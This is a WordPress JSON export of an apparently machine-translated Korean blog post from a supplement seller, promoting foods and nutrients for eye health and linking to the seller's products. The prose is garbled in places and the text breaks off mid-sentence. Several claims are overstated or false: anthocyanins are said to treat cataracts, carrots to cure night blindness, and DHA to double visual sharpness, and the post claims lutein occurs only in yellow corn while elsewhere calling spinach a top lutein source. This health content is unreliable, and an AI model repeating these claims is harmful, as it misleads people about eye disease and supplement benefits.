{"id":7744,"date":"2024-08-06T14:29:08","date_gmt":"2024-08-06T06:29:08","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7744"},"modified":"2025-02-06T10:00:17","modified_gmt":"2025-02-06T02:00:17","slug":"the-best-vegetarian-for-eyes-eat-a-little-more-every-day-eyes-bright-and-clear","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ko\/\ub208\uc5d0-\uac00\uc7a5-\uc88b\uc740-\ucc44\uc2dd\uc8fc\uc758\uc790\ub294-\ub9e4\uc77c-\uc870\uae08\uc529-\ub354-\uba39\uc2b5\ub2c8\/","title":{"rendered":"\ub208\uc5d0 \uac00\uc7a5 \uc88b\uc740 \ucc44\uc2dd\uc8fc\uc758 \uc790 \ub9e4\uc77c \uc870\uae08\uc529 \ub354 \ub9ce\uc774 \uba39\uc5b4 \ubc1d\uace0 \ub9d1\uc740 \ub208"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-d232f7f\" data-block-id=\"d232f7f\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-4197\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp\" width=\"792\" height=\"433\" alt=\"\ubca0\ud0c0 \uce74\ub85c\ud2f4\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp 792w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-300x164.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-768x420.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-600x328.webp 600w\" sizes=\"(max-width: 792px) 100vw, 792px\" \/><\/figure><\/div>\n\n\n\n<p>\uadf8\ub9ac\uace0&nbsp;<a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/marigold-flower-extract-lutein\/\">eye<\/a>&nbsp;\ub294 \uc6b0\ub9ac \ubab8\uc5d0\uc11c \uac00\uc7a5 \uc911\uc694\ud55c \uae30\uad00 \uc911 \ud558\ub098\ub85c, \uc138\uc0c1\uc744 \ubcf4\uace0 \uc138\uc0c1\uc744 \uc774\ud574\ud558\ub294 \ub370 \ub3c4\uc6c0\uc744 \uc8fc\uba70 \uc0ac\ub78c\ub4e4 \uac04\uc758 \uc815\uc2e0\uc801 \uc18c\ud1b5\uc758 \ucc3d\uad6c\uc785\ub2c8\ub2e4. \ub9d1\uace0 \ubc1d\uc740 \ub208\uc744 \uac00\uc9c0\ub824\uba74 \ub9e4\uc77c \ub208\uc744 \ubcf4\ud638\ud558\uace0 \uc0ac\ub791\ud558\ub294 \uac83 \uc678\uc5d0\ub3c4 \uc62c\ubc14\ub978 \uc74c\uc2dd\uc744 \uc12d\ucde8\ud558\ub294 \uac83\ub3c4 \uc911\uc694\ud569\ub2c8\ub2e4. \ub2e4\uc74c\uc740 \ub208\uc5d0 \uc88b\uc740 \uc74c\uc2dd \uba87 \uac00\uc9c0\ub97c \uc18c\uac1c\ud558\uba70 \uc790\uc8fc \uc12d\ucde8\ud558\ub294 \uac83\uc744 \uc78a\uc9c0 \ub9c8\uc138\uc694!<\/p>\n\n\n\n<p>\ud3ec\ub3c4\uac00 \ub208\uc744 \ubcf4\ud638\ud560 \uc218 \uc788\ub294 \uc774\uc720\ub294 \uc8fc\ub85c \uc548\ud1a0\uc2dc\uc544\ub2cc\uc774 \ud48d\ubd80\ud558\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4. \ud3ec\ub3c4\uc758 \ud56d\uc0b0\ud654 \ub2a5\ub825\uc740 \ud608\uad00 \uc190\uc0c1\uc744 \uc904\uc774\ub294 \uac83 \uc678\uc5d0\ub3c4 \ub208 \uc8fc\ubcc0 \uc138\ud3ec\uc758 \uc21c\ud658\uc744 \ucd09\uc9c4\ud558\uc5ec \ub208\uc758 \ud53c\ub85c\ub97c \uc644\ud654\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub208 \ubcf4\ud638 \uc678\uc5d0\ub3c4 \ud3ec\ub3c4\uc5d0\ub294 \ubbf8\ub124\ub784 \uce7c\uc298, \uce7c\ub968, \uc778, \ucca0\ubd84 \ubc0f \ub2e4\uc591\ud55c \ube44\ud0c0\ubbfc\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\uc73c\uba70 \uc778\uccb4\uc5d0 \ud544\uc694\ud55c \ub2e4\uc591\ud55c \uc544\ubbf8\ub178\uc0b0\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\uc73c\uba70 \uc885\uc885 \uc2e0\uacbd \uc1e0\uc57d\uc5d0 \ud3ec\ub3c4\ub97c \uba39\uace0 \uacfc\ub3c4\ud55c \ud53c\ub85c\uac00 \ud070 \ub3c4\uc6c0\uc774\ub418\uba70 \ud3ec\ub3c4\uc758 \ub2e4\uc591\ud55c \uacfc\uc77c \uc0b0\ub3c4 \uc18c\ud654\ub97c \ub3d5\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud3ec\ub3c4\ub294 \uc88b\uc9c0\ub9cc \uba39\uae30\uc5d0 \uc801\ud569\ud558\uc9c0 \uc54a\uc740 \uc0ac\ub78c\ub4e4\ub3c4 \uc788\uc9c0\ub9cc \ubcc0\ube44\ub294 \ub354 \ub9ce\uc774 \uba39\uc5b4\uc11c\ub294 \uc548\ub418\uba70 \ube44\uc7a5\uacfc \uc704\uc7a5 \uacb0\ud54d \uac10\uae30\ub294 \ub354 \ub9ce\uc774 \uba39\uc5b4\uc11c\ub294 \uc548\ub418\uba70 \uc124\uc0ac\ub97c \uc77c\uc73c\ud0a4\uae30 \uc27d\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub2f9\uadfc \ub2f9\uadfc\uc740 \uce74\ub85c\ud2f4\uc774 \ud48d\ubd80\ud558\uace0 \uce74\ub85c\ud2f4\uc740 \ube44\ud0c0\ubbfc A\uc758 \uc8fc\uc694 \uacf5\uae09\uc6d0\uc774\uba70 \uc885\uc885 \ub2f9\uadfc\uc744 \uba39\uc73c\uba74 \ub208\uc758 \ud53c\ub85c\ub97c \uc644\ud654\ud558\uace0 \uc57c\ub9f9\uc99d \uce58\ub8cc, \uc548\uad6c \uac74\uc870\uc99d\uc5d0 \ud070 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/natural-colors\/carotenoids\/\">\uce74\ub85c\ud2f0\ub178\uc774\ub4dc<\/a>&nbsp;\uc740 \uc778\uccb4 \uba74\uc5ed\ub825\uc744 \ud5a5\uc0c1\uc2dc\ud0a4\uace0 \uc9c8\ubcd1\uc5d0 \uc800\ud56d\ud558\ub294 \uc2e0\uccb4 \ub2a5\ub825\uacfc \ud56d\uc0b0\ud654 \ud6a8\uacfc\ub97c \uac1c\uc120\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud638\ubc15\uc5d0\ub294 \uce74\ub85c\ud2f0\ub178\uc774\ub4dc\uac00 \ud48d\ubd80\ud558\uc5ec \uccb4\ub0b4\uc5d0\uc11c \ube44\ud0c0\ubbfc A\ub85c \uc804\ud658 \ub420 \uc218 \uc788\uc73c\ubbc0\ub85c \uc815\uc0c1\uc801\uc778 \uc2dc\ub825\uc744 \uc720\uc9c0\ud558\uace0 \ubf08 \ubc1c\ub2ec\uc744 \ucd09\uc9c4\ud558\ub294 \ub370 \uc88b\uc740 \uc5ed\ud560\uacfc \ud6a8\uacfc\uac00 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud638\ubc15\uc5d0\ub294 \ud48d\ubd80\ud55c \uce74\ub85c\ud2f0\ub178\uc774\ub4dc \uc678\uc5d0\ub3c4 \ud48d\ubd80\ud55c \ubbf8\ub124\ub784 \uc131\ubd84, \ud399\ud2f4, \uc544\ubbf8\ub178\uc0b0 \ub4f1\uc774 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud2b9\ud788 \ucf54\ubc1c\ud2b8\uac00 \ud48d\ubd80\ud558\uace0 \ubaa8\ub4e0 \uc885\ub958\uc758 \uc57c\ucc44\uc5d0 \ucf54\ubc1c\ud2b8 \ud568\ub7c9\uc774 \uba3c\uc800 \ucf54\ubc1c\ud2b8\ub294 \uc778\uac04\uc758 \uc2e0\uc9c4 \ub300\uc0ac\ub97c \ud65c\uc131\ud654\ud558\uace0 \uc870\ud608 \uae30\ub2a5\uc744 \ucd09\uc9c4 \ud560 \uc218 \uc788\uc73c\uba70 \uc778\uac04 \uc12c \uc138\ud3ec\uc5d0 \ud544\uc694\ud55c \ubbf8\ub7c9 \uc6d0\uc18c\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf00\uc77c \uc6b0\ub9ac\uc758 \ud3c9\ubc94\ud55c \uc0b6\uc73c\ub85c\uc11c\uc758 \ucf00\uc77c\uc740 \uc57c\ucc44\uc5d0 \ub354 \uc775\uc219\ud558\uace0, \uc678\ubaa8\uc640 \uc591\ubc30\ucd94\ub294 \ub9e4\uc6b0 \uc720\uc0ac\ud558\uba70, \ud2b9\ud788 \uc5ec\ub984\uc5d0\ub294 \uc120\uba85\ud558\uac8c \uba39\ub294 \ub9db\uc774 \uc788\uc73c\uba70 \uc601\uc591\uac00\uac00 \ub9e4\uc6b0 \ud48d\ubd80\ud558\uace0 \uc0ac\ub78c\ub4e4\uc5d0\uac8c \uc0ac\ub791\ubc1b\ub294 \uc601\uc591\uac00\uac00 \ub9e4\uc6b0 \ud48d\ubd80\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ube44\ud0c0\ubbfc, \ub8e8\ud14c\uc778, \uc81c\uc544\uc794\ud2f4\uc774 \ud48d\ubd80\ud558\uc5ec \ub208 \uc138\ud3ec\ub97c \uac74\uac15\ud558\uac8c \ud558\uace0, \ud669\ubc18 \ubd80\uc704\uc758 \uc720\ud574 \ubb3c\uc9c8\uc5d0 \ub300\ud56d\ud558\ub294 \ub2a5\ub825\uc744 \uac15\ud654\ud558\uba70, \ub178\ud654\uc640 \uad00\ub828\ub41c \ud669\ubc18 \uc9c8\ud658\uc744 \uc608\ubc29 \ubc0f \ub2a6\ucd94\uace0, \ubc31\ub0b4\uc7a5\uc744 \uc608\ubc29\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub208 \uad00\ub9ac \uc678\uc5d0\ub3c4 \ucf00\uc77c\uc758 Vc \ud568\ub7c9\uc740 \ub179\uc0c9 \uc78e \ucc44\uc18c \uc911 \uac00\uc7a5 \ub192\uace0 \ubbf8\ub7c9 \uc6d0\uc18c \uc140\ub808\ub284 \ud568\ub7c9\uc740 \ucf00\uc77c \ucc44\uc18c \uc911 1 \uc704\uc774\uba70 \uc704 \uc601\uc591, \uc18c\ud654 \ubc0f \ubc30\ubcc0\uacfc \uac19\uc740 \ud2b9\uc815 \ud6a8\uacfc\ub3c4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc548\uad6c \uac74\uc870\uc99d\uc740 \uc591\uce58\uae30 \uc9c0\uac11\uc744 \uba39\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\uc591\uce58\uae30 \uc9c0\uac11\uc740 \ubd04\ub098\ubb3c\uc774\ub77c\uace0 \ubd88\ub9ac\uba70 \ub4e4\ud310, \uae38\uac00, \ub9c8\ub2f9\uc5d0\uc11c \uc790\ub77c\uba70 \uc5f4\uc744 \ub0b4\ub9ac\uace0 \ucd9c\ud608\uc744 \uba48\ucd94\uba70 \uac04\uc744 \ub9d1\uac8c\ud558\uace0 \ub208\uc744 \ubc1d\uac8c\ud558\uba70 \uc774\ub1e8\uc791\uc6a9\uc744\ud558\ub294 \ud6a8\uacfc\uac00 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc591\uce58\uae30 \uc9c0\uac11\uc5d0\ub294 \uce74\ub85c\ud2f4, \ube44\ud0c0\ubbfc B, \ube44\ud0c0\ubbfc C, \uce7c\uc298, \ucca0\ubd84 \ud568\ub7c9\ub3c4 \ub192\uace0 \uc548\uad6c \uac74\uc870\uc99d\uc744 \uc644\ud654\ud558\uae30 \uc704\ud574 \uc591\uce58\uae30 \uc9c0\uac11\uc744 \ub354 \ub9ce\uc774 \uba39\uc73c\uba74 \ub3c4\uc6c0\uc774\ub418\uba70 \uc548\uad6c \uac74\uc870\uc99d\uc758 \uc99d\uc0c1\uc744 \uc904\uc77c \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ub208\uc744 \ub9ce\uc774 \uc0ac\uc6a9\ud558\uc138\uc694. \ub178\ub780 \uc625\uc218\uc218 \uba39\uae30<\/h2>\n\n\n\n<p>\ud669\ubc18\ubcc0\uc131\uc740 \ub178\ud654\ub85c \uc778\ud574 \ud669\ubc18 \ubd80\uc704\uc758 \uc9c0\ubc29\uc774 \uc0b0\ud654\ub418\uace0 \uc190\uc0c1\ub418\uc5b4 \uc2dc\ub825\uc744 \uc783\uace0 \uc2ec\ud558\uba74 \uc2e4\uba85\uc5d0 \uc774\ub97c \uc218 \uc788\ub294 \uc9c8\ud658\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uac15\ub825\ud55c \ud56d\uc0b0\ud654 \ud6a8\uacfc\uac00 \uc788\ub294 \ub8e8\ud14c\uc778\uacfc \uc81c\uc544\uc794\ud2f4\uc740 \ub208\uc5d0 \ub4e4\uc5b4\uc624\ub294 \uc720\ud574\ud55c \ube5b\uc744 \ud761\uc218\ud558\uc5ec \ud669\ubc18\uc744 \uac74\uac15\ud558\uac8c \uc720\uc9c0\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uadf8\ub7ec\ub098 \ub8e8\ud14c\uc778\uacfc \uc81c\uc544\uc794\ud2f4\uc740 \ub178\ub780 \uc625\uc218\uc218\uc5d0\uc11c\ub9cc \ubc1c\uacac\ub418\uace0 \ud770 \uc625\uc218\uc218\uc5d0\uc11c\ub294 \ubc1c\uacac\ub418\uc9c0 \uc54a\ub294\ub2e4\ub294 \uc810\uc5d0 \uc720\uc758\ud574\uc57c \ud569\ub2c8\ub2e4. \ub530\ub77c\uc11c \ud0dd\uc2dc \uae30\uc0ac, \ucd08\uc911\ub4f1 \ud559\uc0dd, \ud3b8\uc9d1\uc790, \uc791\uac00 \ubc0f \ub208\uc744 \uc790\uc8fc \uc0ac\uc6a9\ud558\ub294 \uae30\ud0c0 \uc0ac\ub78c\ub4e4\uc740 \ub178\ub780 \uc625\uc218\uc218\ub97c \ub354 \ub9ce\uc774 \uc12d\ucde8\ud574\uc57c\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud53c\uace4\ud55c \ub208\uc744 \uc704\ud574 \ubcf4\ub77c\uc0c9 \uac10\uc790 \uba39\uae30<\/h2>\n\n\n\n<p>\ubcf4\ub77c\uc0c9 \uc2dd\ud488\uc5d0\ub294 \uc548\ud1a0\uc2dc\uc544\ub2cc\uc774\ub77c\ub294 \ubb3c\uc9c8\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\uc73c\uba70 \uc548\ud1a0\uc2dc\uc544\ub2cc\uc740 \uac15\ub825\ud55c \ud56d\uc0b0\ud654 \ud6a8\uacfc\uac00 \uc788\uc73c\uba70 \uc790\uc720 \ub77c\ub514\uce7c, \uc870\uc9c1 \uc190\uc0c1 \uc2b5\uad00\uc758 \uc790\uc720 \ub77c\ub514\uce7c\uc744 \ud6a8\uacfc\uc801\uc73c\ub85c \ucc28\ub2e8\ud560 \uc218 \uc788\uc73c\uba70 \uac00\uc7a5 \uc27d\uac8c \uc0c1\ucc98\ub97c \uc785\ub294 \uac83\uc740 \uc548\uad6c\uc785\ub2c8\ub2e4;<\/p>\n\n\n\n<p>\ubcf4\ub77c\uc0c9 \uc2dd\ud488\uc740 \ucc9c\uc5f0 \ub208 \uac74\uac15 \uc2dd\ud488\uc774\ubbc0\ub85c \ubcf4\ub77c\uc0c9 \uac10\uc790\ub294 \ub208 \uac74\uac15\uc744 \ud6a8\uacfc\uc801\uc73c\ub85c \uc720\uc9c0\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc2dc\uae08\uce58\ub97c \ub354 \ub9ce\uc774 \uc12d\ucde8\ud558\uace0 \ub208\uc744 \ubc1d\uac8c<\/h2>\n\n\n\n<p>\uc2dc\uae08\uce58\ub294 \ub208\uc758 \ub178\ud654\ub85c \uc778\ud55c \"\ud669\ubc18\ubcc0\uc131\"\uc744 \uc608\ubc29\ud558\ub294 \ub370 \ub9e4\uc6b0 \ud6a8\uacfc\uc801\uc778 \ub8e8\ud14c\uc778\uc758 \ucd5c\uace0\uc758 \uacf5\uae09\uc6d0 \uc911 \ud558\ub098\uc785\ub2c8\ub2e4. \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ub179\uc0c9 \uc78e\ucc44\uc18c\ub294 \ube44\ud0c0\ubbfc B2\uc640 \ubca0\ud0c0\uce74\ub85c\ud2f4\uc758 \uc88b\uc740 \uacf5\uae09\uc6d0\uc774\uae30\ub3c4 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc5b8\uc81c&nbsp;<a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/mecobalamin\/\">\ube44\ud0c0\ubbfc B2<\/a>&nbsp;\uc774 \ucda9\ubd84\ud558\uba74 \ub208\uc774 \ucda9\ud608\ub418\uae30 \uc27d\uc9c0 \uc54a\uc73c\uba70, \uccb4\ub0b4\uc5d0\uc11c \ube44\ud0c0\ubbfc A\ub85c \uc804\ud658\ub420 \uc218 \uc788\ub294 \ubca0\ud0c0\uce74\ub85c\ud2f4\uc740 '\uc548\uad6c\uac74\uc870\uc99d' \uc608\ubc29\uacfc \uce58\ub8cc\uc5d0 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uce7c\ub968, \uce7c\uc298 \ubc0f \ub9c8\uadf8\ub124\uc298\uc774 \ud48d\ubd80\ud558\uace0 \uadfc\uc2dc\uc5d0 \uac78\ub9ac\uc9c0 \uc54a\ub294 \ub208 \uadfc\uc721\uc758 \ud0c4\ub825\uc744 \uac15\ud654\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc73c\uba70 \uc774\uc810\uc740 \uc5ec\uae30\uc11c \uba48\ucd94\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc790\ub140\uc758 \ub208\uc744 \ubcf4\ud638\ud558\uace0 \uc2f6\ub2e4\uba74 \uc774 8\uac00\uc9c0 \ub208 \ubcf4\ud638 \uc601\uc591\uc18c\uac00 \uaf2d \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">1.&nbsp;<a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/natural-colors\/carotenoids\/\">\uce74\ub85c\ud2f0\ub178\uc774\ub4dc<\/a>: \uc720\ud574\ud55c \uccad\uc0c9\uad11 \ucc28\ub2e8<\/h2>\n\n\n\n<p>\uce74\ub85c\ud2f0\ub178\uc774\ub4dc \uacc4\uc5f4\uc758 \ub450 \uac00\uc9c0 \uc601\uc591\uc18c\uc778 \uc81c\uc544\uc794\ud2f4\uacfc \ub8e8\ud14c\uc778\uc740 \ub208\uc774 \uccad\uc0c9\uad11\uc5d0 \uc800\ud56d\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub418\ub294 \ube5b \ud544\ud130\ub9c1 \ud6a8\uacfc\uac00 \uc788\uc5b4 \ub208\uc758 \ubbfc\uac10\ub3c4\uc640 \uc120\uba85\ub3c4\ub97c \uc720\uc9c0\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub300\ud45c \uc2dd\ud488: \uc2dc\uae08\uce58, \ube0c\ub85c\ucf5c\ub9ac, \uc625\uc218\uc218, \ud638\ubc15, \ube0c\ub85c\ucf5c\ub9ac \ub4f1<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">2.&nbsp;<a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/natural-colors\/anthocyanins\/\">\uc548\ud1a0\uc2dc\uc544\ub2cc<\/a>\ubc31\ub0b4\uc7a5 \uc608\ubc29 \ubc0f \uce58\ub8cc\uc5d0 \ud070 \ud6a8\uacfc\uac00 \uc788\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\uc2dc\uc544\ub178\uc2dc\uc544\ub2cc\uc740 \ub208\uc758 \ubbf8\uc138\ud608\uad00\uc744 \uc548\uc815\uc2dc\ud0a4\uace0 \ubbf8\uc138\ud608\uad00\uc758 \uc21c\ud658\uc744 \uac1c\uc120\ud558\uc5ec \ubc31\ub0b4\uc7a5 \uc608\ubc29\uacfc \uce58\ub8cc\uc5d0 \ud070 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub610\ud55c, \uc548\ud1a0\uc2dc\uc544\ub2cc\uc740 \uac00\uc7a5 \uac15\ub825\ud55c \ud56d\uc0b0\ud654\uc81c\ub85c\uc11c \ub208\uc758 \ud65c\uc131\uc0b0\uc18c \uc190\uc0c1\uc744 \uc904\uc774\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub300\ud45c \uc74c\uc2dd: \ube14\ub8e8\ubca0\ub9ac, \uc11d\ub958, \ud3ec\ub3c4, \uac00\uc9c0 \ubc0f \uae30\ud0c0 \uc9c4\ud55c \uc801\uc790\uc0c9\uacfc \ubcf4\ub77c\uc0c9 \uacfc\uc77c\uacfc \ucc44\uc18c.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">3.&nbsp;<a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/\u03b2-carotene\/\">\ubca0\ud0c0 \uce74\ub85c\ud2f4<\/a>: \uc57c\ub9f9\uc99d \uc608\ubc29 \ubc0f \uce58\ub8cc\uc5d0 \ud070 \ud6a8\uacfc\uac00 \uc788\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/\u03b2-carotene\/\">\ubca0\ud0c0 \uce74\ub85c\ud2f4<\/a>&nbsp;\ub294 \uc778\uccb4\uc5d0\uc11c \ube44\ud0c0\ubbfc A\ub85c \uc804\ud658\ub420 \uc218 \uc788\uc73c\uba70, \ube44\ud0c0\ubbfc A\ub294 \ub208\uc758 \uad11\uc218\uc6a9\uccb4 \ud615\uc131\uc5d0 \uc911\uc694\ud55c \uc6d0\ub8cc\ub85c \ub208\uc744 \ubc1d\uace0 \uc0dd\uae30 \uc788\uac8c \ub9cc\ub4e4\uc5b4 \uc90d\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub300\ud45c \uc2dd\ud488: \ub2f9\uadfc, \uc2dc\uae08\uce58, \ud638\ubc15, \ube0c\ub85c\ucf5c\ub9ac, \ub9dd\uace0 \ub4f1<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">4. \ube44\ud0c0\ubbfc C: \ub208 \uac74\uac15 \uc99d\uc9c4<\/h2>\n\n\n\n<p>\ube44\ud0c0\ubbfc C\ub294 \uc790\uc678\uc120 \uc190\uc0c1\uc73c\ub85c\ubd80\ud130 \ub9dd\ub9c9\uc744 \ubcf4\ud638\ud558\uc5ec \uc218\uc815\uccb4\uc758 \ub178\ud654\ub97c \ubc29\uc9c0\ud558\uace0 \uc548\uad6c \uac74\uac15\uc744 \uc99d\uc9c4\ud558\ub294 \ub370 \ub3c4\uc6c0\uc744 \uc90d\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub300\ud45c \uc74c\uc2dd: \ud0a4\uc704, \ub808\ubaac, \uc790\ubabd \ub4f1 \ube44\ud0c0\ubbfc C\uac00 \ud48d\ubd80\ud55c \uacfc\uc77c.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">5. \uce7c\uc298: \uc548\uad6c \ubcbd\uc758 \uac15\uc778\ud568\uc744 \ud5a5\uc0c1\uc2dc\ud0b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\uce7c\uc298\uc740 \uc131\uc7a5\uacfc \ubc1c\ub2ec\uc5d0 \ud544\uc218\uc801\uc77c \ubfd0\ub9cc \uc544\ub2c8\ub77c \ub208 \uc870\uc9c1\uc744 \ubcf4\ud638\ud558\ub294 \uc5ed\ud560\ub3c4 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uce7c\uc298\uc774 \ubd80\uc871\ud558\uba74 \uc548\uad6c \ubcbd\uc758 \uac15\ub3c4\uac00 \uac10\uc18c\ud558\uc5ec \uadfc\uc2dc \ubc1c\uc0dd\uc744 \ucd09\uc9c4\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf69, \ub2e4\uc2dc\ub9c8 \ub4f1 \uc74c\uc2dd\uc744 \ub098\ud0c0\ub0c5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">6. DHA: \uc2dc\uc57c\ub97c \uc120\uba85\ud558\uac8c<\/h2>\n\n\n\n<p>DHA\ub97c \uc801\uc808\ud788 \ubcf4\ucda9\ud558\uba74 \uc2dc\ub825\uc758 \uc120\uba85\ub3c4\ub97c \ub450 \ubc30\ub85c \ub192\uc774\uace0 \uc2dc\uc57c\ub97c \ub354\uc6b1 \uc120\uba85\ud558\uac8c \ub9cc\ub4e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>DHA \uc0ac\ub791\uc740 \ub1cc \uc2e0\uacbd\uc138\ud3ec\uc758 \uc911\uc694\ud55c \uad6c\uc131 \uc694\uc18c\uc774\uba70 \uc9c0\ub2a5\uacfc \uc2dc\ub825 \ubc1c\ub2ec\uc5d0\ub3c4 \ud544\uc218\uc801\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uacac\uacfc\ub958 \ub4f1 \uc74c\uc2dd\uc744 \ub098\ud0c0\ub0c5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">7. \uc544\uc5f0: \ud669\ubc18 \ubcd1\ubcc0 \uc608\ubc29<\/h2>\n\n\n\n<p>\uad00\ub828 \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \uc544\uc5f0 \uacb0\ud54d\uc740 \uc548\uad6c \ub0b4 \ud669\ubc18 \ubcd1\ubcc0\uacfc \ubc00\uc811\ud55c \uad00\ub828\uc774 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub530\ub77c\uc11c \uc778\uccb4\uc5d0 \ud544\uc694\ud55c \uc544\uc5f0\uc740 \uc2dc\ub825 \ubcf4\ud638\uc5d0 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub545\ucf69 \ub4f1 \uc74c\uc2dd\uc744 \ub098\ud0c0\ub0c5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">8. \ube44\ud0c0\ubbfc E: \ub208 \ub178\ud654 \ubc29\uc9c0 \ud6a8\uacfc<\/h2>\n\n\n\n<p>\ube44\ud0c0\ubbfc E\ub294 \uac15\ub825\ud55c \ud56d\uc0b0\ud654\uc81c\uc774\uba70, \ube44\ud0c0\ubbfc E\ub97c \uc801\uc2dc\uc5d0 \ubcf4\ucda9\ud558\uba74 \ub208\uc758 \ub178\ud654\ub97c \ubcf4\ud638\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ubaa8\ub4e0 \uc885\ub958\uc758 \uc2dd\uc6a9\uc720, \uacac\uacfc\ub958 \ub4f1 \uc74c\uc2dd\uc744 \ub098\ud0c0\ub0c5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud301: \ubcf4\ucda9\uc81c\ub97c \uc12d\ucde8\ud558\ub294 \uac83\ub3c4 \ub208\uc744 \ubcf4\ud638\ud558\ub294 \ud55c \uac00\uc9c0 \ubc29\ubc95\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub208\uc758 \ud53c\ub85c\uac00 \uc788\ub2e4\uba74 \ub208\uc758 \ud53c\ub85c\ub97c \uc644\ud654\ud558\ub294 \uac00\uc7a5 \ud6a8\uacfc\uc801\uc778 \ubc29\ubc95\uc778 \ub208 \uc2b5\uad00, \ub208 \ud658\uacbd, \ub208 \uac70\ub9ac, \ub208 \uae38\uc774 \ub4f1\uc744 \uac1c\uc120\ud558\ub294 \uac83\uc744 \uace0\ub824\ud574 